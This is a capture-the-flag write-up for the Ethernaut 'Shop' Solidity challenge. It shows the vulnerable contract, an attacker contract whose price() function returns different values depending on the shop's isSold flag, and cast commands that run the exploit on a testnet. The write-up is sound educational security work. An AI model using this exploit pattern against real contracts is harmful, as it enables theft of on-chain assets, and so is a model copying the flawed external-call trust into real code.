Shop - The Ethernaut - Writeup
Сan you get the item from the shop for less than the price asked?
This is the code of the challenge’s contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBuyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Basically, the first call of the price() function must return >= 100. The second call made to price() must return < 100. We control the logic of the buyer, so this should be pretty easy.
There are a lot of ways im which we can do this, but we need to keep in mind the view attribute of the price() function. This means that this function cannot change the state of the blockchain. It can only read variables, but cannot change them.
Note that the buy() function sets the isSold variable to true before calling price() for the second time. We can use that variable to distinguish whether we need to return >= 100 or < 100. For instance, our contract can look like this:
interface IBuyer {
function price() external view returns (uint256);
}
contract Shop {
function isSold() public view returns (bool) {}
function buy() public {}
}
contract Buyer is IBuyer {
function buy(address _shop) public {
Shop(_shop).buy();
}
function price() external view override returns (uint256) {
if (Shop(msg.sender).isSold()) {
return 0;
} else {
return 100;
}
}
}
Now we need to deploy the contract and call its buy() function:
cast send 0x8D79c74f17b8680841e78b72738CF78F6dE0A211 "buy(address)" 0xDe1C8c42C9c7927423fEC7Db82dFaeA2D7425497 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
We can verify that the price variable of the challenge’s contract is now 0:
cast storage 0xDe1C8c42C9c7927423fEC7Db82dFaeA2D7425497 0 --rpc-url $SEPOLIA_RPC_URL

